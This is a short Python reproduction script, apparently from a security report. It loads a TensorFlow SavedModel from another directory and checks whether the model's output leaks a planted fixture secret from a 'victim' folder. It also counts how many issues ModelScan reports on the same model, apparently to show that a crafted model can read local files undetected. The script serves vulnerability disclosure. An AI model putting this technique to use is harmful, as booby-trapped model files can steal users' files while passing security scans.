repro.py

import json
import os
from pathlib import Path

import tensorflow as tf
from modelscan.modelscan import ModelScan


ROOT = Path(__file__).resolve().parent
SECRET_LINE = "TOKEN_FROM_MODEL_CHOSEN_FILE=local-fixture-secret"


def scan_model() -> int:
    scanner = ModelScan()
    scanner.scan(ROOT)
    return len(scanner.issues.all_issues)


def run_model() -> str:
    loader_cwd = ROOT / "loader_cwd"
    victim_workspace = ROOT / "victim_workspace"
    loader_cwd.mkdir(exist_ok=True)
    victim_workspace.mkdir(exist_ok=True)
    (victim_workspace / "secret.txt").write_text(SECRET_LINE + "\n")

    old_cwd = Path.cwd()
    os.chdir(loader_cwd)
    try:
        model = tf.saved_model.load(str(ROOT))
        output = model.signatures["serving_default"](x=tf.constant(1.0))[
            "leaked_line"
        ]
        return output.numpy().decode("utf-8", errors="replace")
    finally:
        os.chdir(old_cwd)


def main() -> None:
    leaked_line = run_model()
    print(
        json.dumps(
            {
                "tensorflow_version": tf.__version__,
                "visible_gpu_count": len(tf.config.list_physical_devices("GPU")),
                "cuda_visible_devices": os.environ.get("CUDA_VISIBLE_DEVICES"),
                "modelscan_issue_count": scan_model(),
                "leaked_line": leaked_line,
                "leaked_expected_line": leaked_line == SECRET_LINE,
            },
            indent=2,
            sort_keys=True,
        )
    )


if __name__ == "__main__":
    main()